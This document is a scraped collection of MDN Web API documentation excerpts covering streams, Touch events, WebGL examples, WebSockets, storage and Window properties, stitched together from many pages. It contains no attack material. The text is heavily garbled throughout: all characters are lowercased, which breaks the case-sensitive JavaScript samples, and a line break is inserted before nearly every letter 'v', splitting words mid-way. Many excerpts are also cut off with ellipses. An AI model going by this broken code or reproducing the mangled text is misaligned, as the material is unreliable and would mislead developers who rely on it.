if not, we suggest that you first read the streams concepts and usage over
view and dedicated streams api concepts article, then come back.
... the constructor call in our example looks like this: const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... the difference is that when close is called, any pre
viously enqueued chunks are written and finished with before the stream is closed.
... when abort is called, any pre
viously enqueued chunks are just thrown away immediately and then the stream is moved to an errored state.
StylePropertyMapReadOnly - Web APIs
the stylepropertymapreadonly interface of the the css typed object model api pro
vides a read-only representation of a css declaration block that is an alternative to cssstyledeclaration.
... methods stylepropertymapreadonly.entries() returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that pro
vided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
... stylepropertymapreadonly.foreach() executes a pro
vided function once for each element of stylepropertymapreadonly.
... stylepropertymapreadonly.getall() returns an array of cssstylevalue objects containing the values for the pro
vided property.
SubtleCrypto.encrypt() - Web APIs
exceptions the promise is rejected when the following exceptions are encountered: invalidaccesserror raised when the requested operation is not valid for the pro
vided key (e.g.
... supported algorithms the web crypto api pro
vides four algorithms that support the encrypt() and decrypt() operations.
...while it's possible to add authentication to ctr and cbc modes, they do not pro
vide it by default and when implementing it manually one can easily make minor, but serious mistakes.
... gcm does pro
vide built-in authentication, and for this reason it's often recommended over the other two aes modes.
TaskAttributionTiming.containerId - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainerid experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... web
view android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
TaskAttributionTiming.containerType - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainertype experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... web
view android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
TextTrackList.onchange - Web APIs
the texttracklist property onchange is an event handler which is called when the change event occurs, indicating that a change has occurred on a texttrack in the
videotracklist.
... var tracklist = document.queryselector("
video, audio").texttracks; tracklist.onchange = function(event) { ....
... /* do something */ }; specifications specification status comment html li
ving standardthe definition of 'texttracklist: onchange' in that specification.
... li
ving standard ...
Touch() - Web APIs
syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, ha
ving the following fields: "identifier", required, of type long, that is the identification number for the touch point.
...(for example, the user agent may use the rotationangle value from the pre
vious touch event, to avoid sudden changes.).
... "force", optional and defaulting to 0, of type float, that is the relative value of pressure applied, in the range 0 to 1, where 0 is no pressure, and 1 is the highest level of pressure the touch de
vice is capable of sensing; 0 if no value is known.
... in en
vironments where force is known, the absolute pressure represented by the force attribute, and the sensiti
vity in levels of pressure, may vary.
Touch.clientX - Web APIs
the touch.clientx read-only property returns the x coordinate of the touch point relative to the
viewport, not including any scroll offset.
... syntax touchitem.clientx; return value a long representing the x coordinate of the touch point relative to the
viewport, not including any scroll offset.
...the touch.clientx property is the horizontal coordinate of a touch point relative to the browser's
viewport excluding any scroll offset.
... the touch.clienty property is the vertical coordinate of the touch point relative to the browser's
viewport excluding any scroll offset .
Touch.clientY - Web APIs
the touch.clienty read-only property returns the y coordinate of the touch point relative to the browser's
viewport, not including any scroll offset.
... syntax touchitem.clienty; return value a long value representing the y coordinate of the touch point relative to the
viewport, not including any scroll offset.
...the touch.clientx property is the horizontal coordinate of a touch point relative to the browser's
viewport excluding any scroll offset.
... the touch.clienty property is the vertical coordinate of the touch point relative to the browser's
viewport excluding any scroll offset .
TrackEvent() - Web APIs
the trackevent() constructor creates and returns a new trackevent object describing an event which occurred on a list of tracks (audiotracklist,
videotracklist, or texttracklist).
... eventinfo optional an optional dictionary pro
viding additional information configuring the new event; it can contain the following fields in any combination: track optional the track to which the event refers; this is null by default, but should be set to a
videotrack, audiotrack, or texttrack as appropriate given the type of track.
... specifications specification status comment html li
ving standardthe definition of 'trackevent()' in that specification.
... li
ving standard initial definition.
TrackEvent.track - Web APIs
this will be an audiotrack,
videotrack, or texttrack object.
... syntax track = trackevent.track; value an object which is one of the types audiotrack,
videotrack, or texttrack, depending on the type of media represented by the track.
... specifications specification status comment html li
ving standardthe definition of 'trackevent.track' in that specification.
... li
ving standard initial definition.
UIEvent() - Web APIs
uieventinit optional is a uieventinit dictionary, ha
ving the following fields: detail: optional and defaulting to 0, of type long, that is a event-dependant value associated with the event.
...
view: optional and defaulting to null, of type windowproxy, that is the window associated with the event .
... sourcecapabilities: an instance of the inputde
vicecapabilities interface which pro
vides information about the physical de
vice responsible for generating a touch event.
... specifications specification status comment inputde
vicecapabilities draft added sourcecapabilities property.
URLUtilsReadOnly.host - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethost experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
view a...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.hostname - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethostname experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
vi...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.href - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethref experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
view a...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.origin - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorigin experimentalchrome no support noedge no support nofirefox full support 29ie no support noopera no support nosafari no support noweb
view ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.pathname - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpathname experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
vi...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.port - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetport experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
view a...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.protocol - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
vi...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.search - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsearch experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support noweb
view...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URLUtilsReadOnly.toString() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support ...
... nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 4opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
URL API - Web APIs
accessing url components creating an url object for a given url parses the url and pro
vides quick access to its constituent parts through its properties.
...you can also look up the values of indi
vidual parameters with the urlsearchparams object's get() method: let addr = new url("https://mysite.com/login?user=someguy&page=news"); try { loginuser(addr.searchparams.get("user")); gotopage(addr.searchparams.get("page")); } catch(err) { showerrormessage(err); } for example, in the above snippet, the username and target page are taken from the query and passed to appropriate functions th...
...rows are added to the table, one for each key found in the parameters, with the first column containing the key's name, and the second column ha
ving the value.
... specifications specification status comment url li
ving standard whatwg specification ...
USBAlternateInterface - Web APIs
the usbalternateinterface interface of the webusb api pro
vides information about a particular configuration of an interface pro
vided by the usb de
vice.
... an interface includes one or more alternate settings which can configure a set of endpoints based on the operating mode of the de
vice.
... constructor usbalternateinterface.usbalternateinterface creates a new usbalternateinterface object which will be populated with information about the alternate interface of the pro
vided usbinterface with the given alternate setting number.
... usbalternateinterface.interfacenameread only returns the name of the interface, if one is pro
vided by the de
vice.
USBIsochronousOutTransferResult - Web APIs
the usbisochronousouttransferresult interface of the webusb api pro
vides the result from a call to the isochronoustransferout() method of the usbde
vice interface.
... it represents the result from requesting a transfer of data from the usb host to the usb de
vice.
... constructor usbisochronousouttransferresult.usbisochronousouttransferresult() creates a new usbisochronousouttransferresult object with the pro
vided packet field.
... properties usbisochronousouttransferresult.packetsread only returns an array of usbisochronousouttransferpacket objects containing the result of each request to send a packet to the de
vice.
Using the User Timing API - Web APIs
created mark = " + marks[i], 0); } retrie
ving performance marks the performance interface has three methods to retrieve marks.
..." + entries[i].name, 0); } } remo
ving performance marks the performance.clearmarks() method is used to remove one or more marks from the browser's performance timeline.
...created measure = " + measures[i], 1); } retrie
ving performance measures the performance interface has three methods to retrieve measures.
..." + entries[i].name, 1); } } remo
ving performance measures the performance.clearmeasures() method is used to remove measures from the browser's performance timeline.
ValidityState.stepMismatch - Web APIs
the read-only stepmismatch property of a validitystate object indicates if the value of an <input>, after ha
ving been edited by the user, does not conform to the constraints set by the element's step attribute.
...if the remainder of the form control's value less the min value, di
vided by the step value (which defaults to 1 if ommitted) is not zero, there is a mismatch.
... specifications specification status comment html li
ving standardthe definition of 'validitystate.stepmismatch' in that specification.
... li
ving standard html 5.1the definition of 'validitystate.stepmismatch' in that specification.
WebGL2RenderingContext.texSubImage3D() - Web APIs
syntax void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, arraybuffer
view?
...pixels); void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, html
videoelement?
... gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_rev gl.unsigned_int_10f_11f_11f_rev gl.unsigned_int_5_9_9_9_rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_rev (pixels must be null) pixels one of the following objects can be used as a pixel source for the texture: arraybuffer
view, a uint8array must be used if type is gl.unsigned_byte.
... imagebitmap, imagedata, htmlimageelement, htmlcanvaselement, html
videoelement.
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
buffer_attachment_alpha_size gl.framebuffer_attachment_blue_size gl.framebuffer_attachment_color_encoding gl.framebuffer_attachment_component_type gl.framebuffer_attachment_depth_size gl.framebuffer_attachment_green_size gl.framebuffer_attachment_red_size gl.framebuffer_attachment_stencil_size gl.framebuffer_attachment_texture_layer when using the ovr_multi
view2 extension: ext.framebuffer_attachment_texture_num_
views_ovr: the number of
views of the framebuffer object attachment.
... ext.framebuffer_attachment_texture_base_
view_index_ovr: the base
view index of the framebuffer object attachment.
... ext.framebuffer_attachment_texture_num_
views_ovr a glsizei indicating the number of
views of the framebuffer object attachment.
... ext.framebuffer_attachment_texture_base_
view_index_ovr a glint indicating the base
view index of the framebuffer object attachment.
WebGLRenderingContext.getParameter() - Web APIs
gl.max_fragment_uniform_vectors glint gl.max_renderbuffer_size glint gl.max_texture_image_units glint gl.max_texture_size glint gl.max_varying_vectors glint gl.max_vertex_attribs glint gl.max_vertex_texture_image_units glint gl.max_vertex_uniform_vectors glint gl.max_
viewport_dims int32array (with 2 elements) gl.pack_alignment glint gl.polygon_offset_factor glfloat gl.polygon_offset_fill glboolean gl.polygon_offset_units glfloat gl.red_bits glint gl.renderbuffer_binding webglrenderbuffer or null see bindrenderbuffer.
...inding_2d webgltexture or null gl.texture_binding_cube_map webgltexture or null gl.unpack_alignment glint gl.unpack_colorspace_conversion_webgl glenum gl.unpack_flip_y_webgl glboolean gl.unpack_premultiply_alpha_webgl glboolean gl.vendor domstring gl.version domstring gl.
viewport int32array (with 4 elements) webgl 2 you can query the following pname parameters when using a webgl2renderingcontext.
... ext.max_
views_ovr glint ovr_multi
view2 maximum number of
views.
... examples gl.getparameter(gl.dither); gl.getparameter(gl.version); gl.getparameter(gl.
viewport); specifications specification status comment webgl 1.0the definition of 'getparameter' in that specification.
Boilerplate 1 - Web APIs
« pre
viousnext » this example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
...any additional non-tri
vial css and html will be displayed on the pages of specific examples.
...vascript function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return null; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } the source code of this example is also available on github.
... « pre
viousnext » ...
Canvas size and WebGL - Web APIs
« pre
viousnext » this webgl example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window.
... the effect is clearly
visible when using scissor() and clear() to draw a square in the center of the canvas, by specifying its position and size in pixels.
..." + "your browser or de
vice may not support webgl."; return; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.enable(gl.scissor_test); gl.scissor(30, 10, 60, 60); gl.clearcolor(1.0, 1.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); }); }, false); the source code of this example is also available on github.
... « pre
viousnext » ...
Detect WebGL - Web APIs
« pre
viousnext » this example demonstrates how to detect a webgl rendering context and reports the result to the user.
... sa
ving the state of the graphics machine within a single context interface is not unique to webgl.
..." + "your browser or de
vice may not support webgl."; } } }, false); the source code of this example is also available on github.
... « pre
viousnext » ...
Hello GLSL - Web APIs
« pre
viousnext » this webgl example demonstrates a very basic glsl shader program that draws a solid color square.
...but remember to read through the explanations and code on this page, before mo
ving on to the next.
...am); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return null; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github.
... « pre
viousnext » ...
Hello vertex attributes - Web APIs
« pre
viousnext » this webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex attributes.
... hello world program in glsl how to send input to a shader program by sa
ving data in gpu memory.
...am); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return null; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github.
... « pre
viousnext » ...
Raining rectangles - Web APIs
« pre
viousnext » a simple webgl game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.
...it is a pre
view of a full graphical application that manipulates various phases of the webgl graphics pipeline and state machine.
... } } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return null; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github.
... « pre
viousnext » ...
WebGL by example - Web APIs
but rather than just presenting them in a single long list, they are additionally di
vided into topics.
... sometimes we re
visit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.
...you should read all comments, because more advanced examples could not repeat comments about parts of the code that were pre
viously explained.
... miscellaneous advanced examples
video textures this example demonstrates how to use
video files as textures.
Using WebGL extensions - Web APIs
oes_ and khr_: extensions that mirror functionality from opengl es (oes) or opengl api extensions approved by the respective architecture re
view boards (khronos).
... ovr_: extensions that optimize for
virtual reality.
...it should also be used for extensions which originated with the opengl es or opengl apis, but whose beha
vior has been significantly altered.
...y ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_mipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_texture_half_float oes_texture_half_float_linear oes_vertex_array_object ovr_multi
view2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context enabling an extension before an exte...
Writing WebSocket client applications - Web APIs
this may happen if you attempt to use an insecure connection (most user agents now require a secure link for all websocket connections unless they're on the same de
vice or possibly on the same network).
... document.getelementbyid("text").value = ""; } recei
ving messages from the server websockets is an event-driven api; when messages are received, a message event is sent to the websocket object.
...to begin listening for incoming data, you can do something like this: examplesocket.onmessage = function (event) { console.log(event.data); } recei
ving and interpreting json objects let's consider the chat client application first alluded to in using json to transmit objects.
... security considerations websockets should not be used in a mixed content en
vironment; that is, you shouldn't open a non-secure websocket connection from a page loaded using https or
vice-versa.
The WebSocket API (WebSockets) - Web APIs
with this api, you can send messages to a server and receive event-driven responses without ha
ving to poll the server for a reply.
... interfaces websocket the primary interface for connecting to a websocket server and then sending and recei
ving data on the connection.
... related topics ajax javascript specifications specification status comments html li
ving standardthe definition of 'websocket api' in that specification.
... li
ving standard websockets candidate recommendation rfc 6455: the websocket protocol ietf rfc ...
WebXR permissions and security - Web APIs
the webxr de
vice api has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it.
... among other things, you need to confirm access to de
vice features such as the microphone and/or camera, get permission to use immersive vr mode (if applicable), and so forth.
...in this guide, we'll cover how to ensure your app has the permissions it needs to pro
vide a secure and private xr experience.
... introduction the webxr de
vice api is subject to a number of permission and security controls.
Keyframe Formats - Web APIs
element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, color: "#000" } ], 2000); offsets for each keyframe can be specified by pro
viding an offset value.
... element.animate([ { opacity: 1 }, { opacity: 0.1, offset: 0.7 }, { opacity: 0 } ], 2000); note: offset values, if pro
vided, must be between 0.0 and 1.0 (inclusive) and arranged in ascending order.
... the easing to apply between keyframes can be specified by pro
viding an easing value as illustrated below.
...the pro
vided values will be spaced out independently.
Using IIR filters - Web APIs
the iirfilternode interface of the web audio api is an audionode processor that implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control de
vices and graphic equalizers, and the filter response parameters can be specified, so that it can be tuned as needed.
... demo our simple example for this guide pro
vides a play/pause button that starts and pauses audio play, and a toggle that turns an iir filter on and off, altering the tone of the sound.
... it also pro
vides a canvas on which is drawn the frequency response of the audio, so you can see what effect the iir filter has.
...there's a really good over
view to iif filters and fir filters here.
Window.content - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... note: since firefox 57 (initially nightly-only), both the content and _content variants are only available to chrome (pri
vileged) code, and not available to the web anymore.
... in unpri
vileged content (webpages), content is normally equivalent to top (except in the case of a webpage loaded in a sidebar, content still refers to the window of the currently selected tab).
... see also working with windows in chrome code when accessing content documents from pri
vileged code, be aware of xpcnativewrappers.
Window.event - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneteventchrome full support 1edge full support 12firefox full support 63notes disabled full support 63notes disabled notes this was briefly enabled by default in 65, then removed again while related compatibility issues are sorted out ...
...to change preferences in firefox,
visit about:config.ie full support 4opera full support 7safari full support 1.1web
view android full support 1chrome android full support 18firefox android full support 63notes disabled full support 63notes disabled notes this was briefly enabled by default in 65, then removed again while related compatibility issues ...
...to change preferences in firefox,
visit about:config.opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
Window.innerHeight - Web APIs
the value of innerheight is taken from the height of the window's layout
viewport.
... syntax let int
viewportheight = window.innerheight; value an integer value indicating the window's layout
viewport height in pixels.
... example assuming a frameset var intframeheight = window.innerheight; // or var intframeheight = self.innerheight; // will return the height of the frame
viewport within the frameset var intframesetheight = parent.innerheight; // will return the height of the
viewport of the closest frameset var intouterframesetheight = top.innerheight; // will return the height of the
viewport of the outermost frameset fixme: link to an interactive demo here to change the size of a window, see window.resizeby() and window.resizeto().
... specification specification status comment css object model (cssom)
view modulethe definition of 'window.innerheight' in that specification.
Window.localStorage - Web APIs
exceptions securityerror the request
violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example).
... localstorage.setitem('mycat', 'tom'); the syntax for reading the localstorage item is as follows: const cat = localstorage.getitem('mycat'); the syntax for remo
ving the localstorage item is as follows: localstorage.removeitem('mycat'); the syntax for remo
ving all the localstorage items is as follows: localstorage.clear(); note: please refer to the using the web storage api article for a full example.
... specifications specification status comment html li
ving standardthe definition of 'localstorage' in that specification.
... li
ving standard ...
Window.locationbar - Web APIs
returns the locationbar object, whose
visibility can be checked.
... syntax objref = window.locationbar example the following complete html example shows how the
visible property of the locationbar object is used.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> var
visible = window.locationbar.
visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html li
ving standardthe definition of 'window.locationbar' in that specification.
... li
ving standard html5the definition of 'window.locationbar' in that specification.
Window.menubar - Web APIs
the window.menubar property returns the menubar object, whose
visibility can be checked.
... syntax objref = window.menubar example the following complete html example demonstrates how the
visible property of the menubar object is used.
... <html> <head> <title>various dom tests</title> <script> var
visible = window.menubar.
visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html li
ving standardthe definition of 'window.menubar' in that specification.
... li
ving standard html5the definition of 'window.menubar' in that specification.
Window.print() - Web APIs
syntax window.print() specification specification status comment html li
ving standardthe definition of 'print()' in that specification.
... li
ving standard browser compatibility the compatibility table in this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 5opera full support ...
... 6notes full support 6notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari full support 1.1web
view android full support 1notes full support 1notes notes starting with web
view 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox a...
Window.requestFileSystem() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestfilesystem experimentalnon-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18prefixed...
... full support ≤18prefixed prefixed implemented with the vendor prefix: webkitfirefox no support noie no support noopera no support nosafari no support noweb
view android full support 37prefixed full support 37prefixed prefixed implemented with the vendor prefix: webkitchrome android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
window.requestIdleCallback() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidlecallback experimentalchrome full support 47edge full support 79firefox full support 55notes full support 55notes notes enab...
... no support 53 — 55notes notes implemented but disabled by default.ie no support noopera full support 34safari no support noweb
view android full support 47chrome android full support 47firefox android full support 55notes full support 55notes notes enabled by default.
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.
Window.scrollX - Web APIs
if the document is rendered on a subpixel-precise de
vice, then the returned value is also subpixel-precise and may contain a decimal component.
... in more technical terms, scrollx returns the x coordinate of the left edge of the current
viewport.
... if there is no
viewport, the returned value is 0.
...window.pageyoffset : (document.documentelement || document.body.parentnode || document.body).scrolltop; specification specification status comment css object model (cssom)
view modulethe definition of 'window.scrollx' in that specification.
Window.scrollY - Web APIs
if the document is rendered on a subpixel-precise de
vice, then the returned value is also subpixel-precise and may contain a decimal component.
... in more technical terms, scrolly returns the y coordinate of the top edge of the current
viewport.
... if there is no
viewport, the returned value is 0.
...document.documentelement.scrolltop : document.body.scrolltop; specification specification status comment css object model (cssom)
view modulethe definition of 'window.scrolly' in that specification.
Window.scrollbars - Web APIs
the window.scrollbars property returns the scrollbars object, whose
visibility can be checked.
... syntax objref = window.scrollbars example the following complete html example shows how the
visible property of the scrollbars object is used.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> let
visiblescrollbars = window.scrollbars.
visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html li
ving standardthe definition of 'window.scrollbars' in that specification.
... li
ving standard html5the definition of 'window.scrollbars' in that specification.
Window.sessionStorage - Web APIs
a page session lasts as long as the browser is open, and sur
vives over page reloads and restores.
... exceptions securityerror the request
violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example).
... specifications specification status comment html li
ving standardthe definition of 'sessionstorage' in that specification.
... li
ving standard ...
Window.stop() - Web APIs
syntax window.stop() example window.stop(); specification specification status comment html li
ving standardthe definition of 'window.stop()' in that specification.
... li
ving standard html5the definition of 'window.stop' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstopchrome full support yesedge full support 14firefox full support yesie no support noopera full support yessafari full support ...
... yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support ...
Window: unhandledrejection event - Web APIs
this is useful for debugging and for pro
viding fallback error handling for unexpected situations.
... window.addeventlistener("unhandledrejection", event => { console.warn(`unhandled promise rejection: ${event.reason}`); }); you can also use the onunhandledrejection event handler property to set up the event listener: window.onunhandledrejection = event => { console.warn(`unhandled promise rejection: ${event.reason}`); }; preventing default handling many en
vironments (such as node.js) report unhandled promise rejections to the console by default.
... // prevent the default handling (such as outputting the // error to the console) event.preventdefault(); }); specifications specification status comment html li
ving standardthe definition of 'unhandledrejection' in that specification.
... li
ving standard initial definition.
Window.window - Web APIs
this means: global variables of your script are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without ha
ving to type window.
...alert(window === window.window); // displays "true" the point of ha
ving the window property refer to the object itself, was likely to make it easy to refer to the global object.
... specifications specification status comment html li
ving standardthe definition of 'window.window' in that specification.
... li
ving standard no difference from the latest snapshot html 5.1 html 5.1the definition of 'window.window' in that specification.
WindowEventHandlers - Web APIs
specifications specification status comment html li
ving standardthe definition of 'windoweventhandlers' in that specification.
... li
ving standard no change since the latest snapshot, html 5.1.
... recommendation snapshot of html li
ving standard.
... recommendation snapshot of html li
ving standard.
WindowOrWorkerGlobalScope.atob() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'windoworworkerglobalscope.atob()' in that specification.
... li
ving standard method moved to the windoworworkerglobalscope mixin in the latest spec.
... recommendation snapshot of html li
ving standard.
... recommendation snapshot of html li
ving standard.
WindowOrWorkerGlobalScope.btoa() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'windoworworkerglobalscope.btoa()' in that specification.
... li
ving standard method moved to the windoworworkerglobalscope mixin in the latest spec.
... recommendation snapshot of html li
ving standard.
... recommendation snapshot of html li
ving standard.
WindowOrWorkerGlobalScope - Web APIs
windoworworkerglobalscope.crossoriginisolated read only returns a boolean value that indicates whether a sharedarraybuffer can be sent
via a window.postmessage() call.
